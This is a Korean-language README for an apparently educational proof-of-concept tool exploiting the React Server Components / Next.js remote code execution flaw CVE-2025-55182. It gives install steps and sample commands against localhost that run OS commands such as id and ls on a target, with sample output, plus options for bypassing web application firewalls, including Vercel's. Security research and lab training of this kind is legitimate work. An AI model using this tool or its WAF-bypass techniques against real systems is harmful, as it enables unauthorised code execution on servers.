
RSC/Next.js 원격 코드 실행 취약점(CVE-2025-55182, CVE-2025-66478)의 정밀 기반 탐지
CVE-2025-55182 – React Server Components RCE PoC
Hidden Investigations React2Shell 실습을 위한 교육용 익스플로잇 클라이언트
이 저장소는 React Server Components / Next.js 애플리케이션의 잘못된 설정을 대상으로 하는 React2Shell 취약점(CVE-2025-55182)에 대한 단일 호스트 개념 증명(PoC) 익스플로잇 도구를 포함합니다.
이 도구는 공식 Hidden Investigations React2Shell 실습 또는 귀하가 명시적으로 소유/관리하는 시스템에서만 사용하도록 설계되었습니다.
이 프로젝트는 교육 및 방어적 보안 연구 목적으로만 제공됩니다:
이 도구를 사용함으로써 귀하는 모든 관련 법률 및 규정을 준수하는 데 동의합니다.
whoami 기본값)--waf-bypass, --waf-bypass-size)--vercel-waf-bypass)--insecure, 사용자 정의 헤더)-o/--output, --all-results)requests다음 명령어로 의존성을 설치하세요:
pip install -r requirements.txt
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 react2shell-scanner.py -h
기본 도움말:
python3 react2shell-scanner.py -h
도구는 대상 URL이 필요합니다:
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# 또는
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
-t/--target 또는 -u/--url 없이 실행하면 브랜드가 지정된 도움말 메시지를 출력하고 종료됩니다.
참고: 이 PoC는 단일 호스트 전용입니다.
-l/--list옵션은 존재하지만 의도적으로 비활성화되었습니다.
조용한 모드 예시 (깔끔한 여러 줄 출력):
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
출력:
total 12
drwxr-xr-x 1 root root 10 Dec 13 21:13 .
drwxr-xr-x 1 root root 0 Dec 13 21:13 ..
drwxr-xr-x 1 nextjs nodejs 12 Dec 13 21:13 .next
drwxr-xr-x 1 nextjs nodejs 396 Dec 13 21:13 node_modules
-rw-r--r-- 1 nextjs nodejs 733 Dec 13 21:13 package.json
drwxr-xr-x 1 root root 12 Dec 13 19:13 public
-rw-r--r-- 1 nextjs nodejs 5661 Dec 13 21:13 server.js
다음 플래그는 Assetnote의 CLI를 미러링하기 위해 존재하지만, 대량 스캔 오용을 방지하기 위해 이 PoC에서는 구현되지 않았습니다:
| 옵션 | 상태 |
|---|---|
-l, --list | 구현되지 않음 |
--threads N | 구현되지 않음 |
-l/--list를 사용하면 도구가 경고를 출력하고 종료되며, 대규모 안전 스캔을 위해 Assetnote의 원본 react2shell-scanner를 사용할 것을 권장합니다.
로컬 실습에서 실행:
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
더 큰 정크 필드로 WAF 우회 사용:
python3 react2shell-scanner.py -t http://localhost:3000 --waf-bypass --waf-bypass-size 256 -c "id"
동일한 호스트의 여러 경로:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next/data -c "id"
파일에서 경로 읽기:
python3 react2shell-scanner.py -t http://localhost:3000 --path-file paths.txt -c "id"
안전 점검 모드 (OS 명령 실행 안 함):
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
파일로 JSON 결과 출력:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next -c "id" -o results.json --all-results
-o/--output을 사용하면 도구가 다음과 같은 객체 배열을 씁니다:
[
{
"url": "http://localhost:3000/",
"path": "/",
"success": true,
"status": "success",
"output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
"http": {
"status_code": 302,
"headers": {
"X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
"...": "..."
}
}
}
]
react2shell-scanner를 통한 WAF 우회 아이디어 영감.이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE를 참조하세요.
📬 문의: [email protected]
| 옵션 | 설명 | 기본값 |
|---|
-t, --target | 대상 URL 또는 도메인 (--url이 사용되지 않은 경우 필수) | None |
-u, --url | --target의 별칭 (Assetnote 스타일 플래그) | None |
--path | 테스트할 경로 (여러 번 사용 가능, 예: /, /_next) | / |
--path-file | 테스트할 경로를 포함한 파일 (한 줄에 하나씩) | None |
| 옵션 | 설명 | 기본값 |
|---|
-c, --command | 대상에서 실행할 명령 (익스플로잇 성공 시) | id |
--safe-check | SAFE_CHECK 페이로드 사용 (OS 명령 없음, 마커 문자열만) | off |
--windows | Windows 대상에 맞게 기본값 조정 (예: 명령이 id일 때 whoami 사용) | off |
--waf-bypass | 요청 본문에 대량의 정크 multipart 필드를 추가하여 WAF 우회 | off |
--waf-bypass-size KB | --waf-bypass 사용 시 정크 필드 크기 (KB) | 128 |
--vercel-waf-bypass | Vercel WAF 동작을 조정하기 위한 대체 multipart 레이아웃 사용 (단순화된 PoC) | off |
| 옵션 | 설명 | 기본값 |
|---|
--timeout SECONDS | 요청 타임아웃 (초) | 15 (또는 --waf-bypass 사용 시 타임아웃 미설정이면 20) |
-k, --insecure | SSL 검증 비활성화 (curl -k처럼) | off |
-H, --header | 사용자 정의 헤더, 예: -H "X-Forwarded-For: 127.0.0.1" (반복 가능) | None |
| 옵션 | 설명 | 기본값 |
|---|
-o, --output FILE | JSON 결과를 FILE에 쓰기 | None |
--all-results | --output 사용 시 취약하지 않은 결과도 포함 | off |
-v, --verbose | 자세한 모드 – HTTP 상태 및 X-Action-Redirect 헤더 표시 | off |
-q, --quiet | 조용한 모드 – 성공 시 정규화된 명령 출력만 출력 | off |
--no-color | 색상이 있는 터미널 출력 비활성화 | off |